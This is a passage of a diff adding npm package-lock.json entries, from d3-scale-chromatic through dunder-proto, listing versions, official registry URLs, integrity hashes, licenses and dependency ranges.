"resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz", + "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-color": "1", + "d3-interpolate": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-selection": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.2.tgz", + "integrity": "sha512-SJ0BqYihzOjDnnlfyeHT0e30k0K1+5sR3d5fNueCNeuhZTnGw4M4o8mqJchSwgKMXCNFo+e2VTChiSJ0vYtXkg==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-shape": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.7.tgz", + "integrity": "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-path": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-time": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.1.0.tgz", + "integrity": "sha512-Xh0isrZ5rPYYdqhAVk8VLnMEidhz5aP7htAADH6MfzgmmicPkTo8LhkLxci61/lCB7n7UmE3bN0leRt+qvkLxA==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-time-format": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.3.0.tgz", + "integrity": "sha512-guv6b2H37s2Uq/GefleCDtbe0XZAuy7Wa49VGkPVPMfLL9qObgBST3lEHJBMUp8S7NdLQAGIvr2KXk8Hc98iKQ==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-time": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-timer": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.10.tgz", + "integrity": "sha512-B1JDm0XDaQC+uvo4DT79H0XmBskgS3l6Ve+1SBCfxgmtIb1AVrPIoqd+nPSv+loMX8szQ0sVUhGngL7D5QPiXw==", + "license": "BSD-3-Clause" + }, + "node_modules/dagre-d3/node_modules/d3-transition": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.3.2.tgz", + "integrity": "sha512-sc0gRU4PFqZ47lPVHloMn9tlPcv8jxgOQg+0zjhfZXMQuvppjG6YuwdMBE0TuqCZjeJkLecku/l9R0JPcRhaDA==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-color": "1", + "d3-dispatch": "1", + "d3-ease": "1", + "d3-interpolate": "1", + "d3-selection": "^1.1.0", + "d3-timer": "1" + } + }, + "node_modules/dagre-d3/node_modules/d3-zoom": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz", + "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==", + "license": "BSD-3-Clause", + "dependencies": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, + "node_modules/damerau-levenshtein": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz", + "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==", + "license": "BSD-2-Clause" + }, + "node_modules/dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==", + "dev": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/data-urls": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz", + "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==", + "license": "MIT", + "dependencies": { + "abab": "^2.0.3", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/data-view-buffer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.1.tgz", + "integrity": "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.6", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/data-view-byte-length": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.1.tgz", + "integrity": "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/data-view-byte-offset": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.0.tgz", + "integrity": "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.6", + "es-errors": "^1.3.0", + "is-data-view": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/date-fns": { + "version": "2.30.0", + "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.30.0.tgz", + "integrity": "sha512-fnULvOpxnC5/Vg3NCiWelDsLiUc9bRwAPs/+LfTLNvetFCtCTN+yQz15C/fs4AwX1R9K5GLtLfn8QW+dWisaAw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.21.0" + }, + "engines": { + "node": ">=0.11" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/date-fns" + } + }, + "node_modules/dayjs": { + "version": "1.11.3", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.3.tgz", + "integrity": "sha512-xxwlswWOlGhzgQ4TKzASQkUhqERI3egRNqgV4ScR8wlANA/A9tZ7miXa44vTTKEq5l7vWoL5G57bG3zA+Kow0A==", + "dev": true, + "license": "MIT" + }, + "node_modules/de-indent": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/de-indent/-/de-indent-1.0.2.tgz", + "integrity": "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==", + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.0.tgz", + "integrity": "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/debug/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/decimal.js": { + "version": "10.3.1", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.3.1.tgz", + "integrity": "sha512-V0pfhfr8suzyPGOx3nmq4aHqabehUZn6Ch9kyFpV79TGDTWFmHqUqXdabR7QHqxzrYolF4+tVmJhUG4OURg5dQ==", + "license": "MIT" + }, + "node_modules/decode-uri-component": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz", + "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/dedent": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz", + "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==", + "license": "MIT" + }, + "node_modules/deep-copy": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/deep-copy/-/deep-copy-1.4.2.tgz", + "integrity": "sha512-VxZwQ/1+WGQPl5nE67uLhh7OqdrmqI1OazrraO9Bbw/M8Bt6Mol/RxzDA6N6ZgRXpsG/W9PgUj8E1LHHBEq2GQ==", + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/deep-equal": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.1.2.tgz", + "integrity": "sha512-5tdhKF6DbU7iIzrIOa1AOUt39ZRm13cmL1cGEh//aqR8x9+tNfbywRf0n5FD/18OKMdo7DNEtrX2t22ZAkI+eg==", + "license": "MIT", + "dependencies": { + "is-arguments": "^1.1.1", + "is-date-object": "^1.0.5", + "is-regex": "^1.1.4", + "object-is": "^1.1.5", + "object-keys": "^1.1.1", + "regexp.prototype.flags": "^1.5.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "license": "MIT" + }, + "node_modules/deepmerge": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-2.2.1.tgz", + "integrity": "sha512-R9hc1Xa/NOBi9WRVUWg19rl1UB7Tt4kuPd+thNJgFZoxXsTz7ncaPaeIm+40oSGuP33DfMb4sZt1QIGiJzC4EA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-gateway": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "license": "BSD-2-Clause", + "dependencies": { + "execa": "^5.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/default-gateway/node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/default-gateway/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-gateway/node_modules/human-signals": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", + "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", + "license": "Apache-2.0", + "engines": { + "node": ">=10.17.0" + } + }, + "node_modules/defaulty": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/defaulty/-/defaulty-2.1.0.tgz", + "integrity": "sha512-dNWjHNxL32khAaX/kS7/a3rXsgvqqp7cptqt477wAVnJLgaOKjcQt+53jKgPofn6hL2xyG51MegPlB5TKImXjA==", + "license": "MIT", + "dependencies": { + "deep-copy": "^1.4.1" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "license": "MIT", + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/defined": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.1.tgz", + "integrity": "sha512-hsBd2qSVCRE+5PmNdHt1uzyrFu5d3RwmFDKzyNZMFq/EwDNJF7Ee5+D5oEKF0hU6LhtoUF1macFvOe4AskQC1Q==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delaunator": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-4.0.1.tgz", + "integrity": "sha512-WNPWi1IRKZfCt/qIDMfERkDp93+iZEmOxN2yy4Jg+Xhv8SLk2UTqqbe1sfiipn0and9QrE914/ihdx82Y/Giag==", + "license": "ISC" + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "license": "MIT", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-newline": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", + "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "license": "MIT" + }, + "node_modules/detect-port-alt": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz", + "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==", + "license": "MIT", + "dependencies": { + "address": "^1.0.1", + "debug": "^2.6.0" + }, + "bin": { + "detect": "bin/detect-port", + "detect-port": "bin/detect-port" + }, + "engines": { + "node": ">= 4.2.1" + } + }, + "node_modules/detect-port-alt/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/detect-port-alt/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/detective": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/detective/-/detective-5.2.1.tgz", + "integrity": "sha512-v9XE1zRnz1wRtgurGu0Bs8uHKFSTdteYZNbIPFVhUZ39L/S79ppMpdmVOZAnoz1jfEFodc48n6MX483Xo3t1yw==", + "license": "MIT", + "dependencies": { + "acorn-node": "^1.8.2", + "defined": "^1.0.0", + "minimist": "^1.2.6" + }, + "bin": { + "detective": "bin/detective.js" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "license": "Apache-2.0" + }, + "node_modules/diff-sequences": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz", + "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==", + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "license": "MIT", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "license": "MIT" + }, + "node_modules/dns-equal": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz", + "integrity": "sha512-z+paD6YUQsk+AbGCEM4PrOXSss5gd66QfcVBFTKR/HpFL9jCqikS94HYwKww6fQyO7IxrIIyUu+g0Ka9tUS2Cg==", + "license": "MIT" + }, + "node_modules/dns-packet": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.4.0.tgz", + "integrity": "sha512-EgqGeaBB8hLiHLZtp/IbaDQTL8pZ0+IvwzSHA6d7VyMDM+B9hgddEMa9xjK5oYnw0ci0JQ6g2XCD7/f6cafU6g==", + "license": "MIT", + "dependencies": { + "@leichtgewicht/ip-codec": "^2.0.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dom-converter": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "license": "MIT", + "dependencies": { + "utila": "~0.4" + } + }, + "node_modules/dom-helpers": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", + "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.8.7", + "csstype": "^3.0.2" + } + }, + "node_modules/dom-helpers/node_modules/csstype": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.0.tgz", + "integrity": "sha512-uX1KG+x9h5hIJsaKR9xHUeUraxf8IODOwq9JLNPq6BwB04a/xgpq3rcx47l5BZu5zBPlgD342tdke3Hom/nJRA==", + "license": "MIT" + }, + "node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "license": "MIT", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "BSD-2-Clause" + }, + "node_modules/domexception": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz", + "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==", + "deprecated": "Use your platform's native DOMException instead", + "license": "MIT", + "dependencies": { + "webidl-conversions": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/domexception/node_modules/webidl-conversions": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", + "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=8" + } + }, + "node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "license": "BSD-2-Clause", + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dot-case/node_modules/tslib": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", + "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", + "license": "0BSD" + }, + "node_modules/dotenv": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=10" + } + }, + "node_modules/dotenv-expand": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-5.1.0.tgz", + "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==", + "license": "BSD-2-Clause" + }, + "node_modules/dotignore": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/dotignore/-/dotignore-0.1.2.tgz", + "integrity": "sha512-UGGGWfSauusaVJC+8fgV+NVvBXkCTmVv7sk6nojDZZvuOUNGUy0Zk4UpHQD6EDjS0jpBwcACvH4eofvyzBcRDw==", + "license": "MIT", + "dependencies": { + "minimatch": "^3.0.4" + }, + "bin": { + "ignored": "bin/ignored" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.0.tgz", + "integrity": "sha512-9+Sj30DIu+4KvHqMfLUGLFYL2PkURSYMVXJyXe92nFRvlYq5hBjLEhblKB+vkd/WVlUYMWigiY07T91Fkk0+4A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, 